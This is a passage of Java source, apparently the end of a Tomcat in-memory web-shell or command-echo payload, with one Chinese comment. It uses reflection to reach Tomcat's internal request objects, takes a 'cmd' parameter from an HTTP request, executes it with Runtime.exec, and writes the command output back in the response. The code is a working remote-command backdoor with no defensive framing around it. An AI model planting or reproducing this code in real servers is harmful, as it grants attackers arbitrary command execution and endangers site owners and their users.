org.apache.coyote.Request request = (org.apache.coyote.Request) requestField.get(requestInfo);
//通过org.apache.coyote.Request的Notes属性获取继承HttpServletRequest的org.apache.catalina.connector.Request
org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1);
org.apache.catalina.connector.Response http_response = http_request.getResponse();
PrintWriter writer = http_response.getWriter();
String cmd = http_request.getParameter("cmd");
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
String result = scanner.hasNext()?scanner.next():"";
scanner.close();
writer.write(result);
writer.flush();
writer.close();
}
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
}
}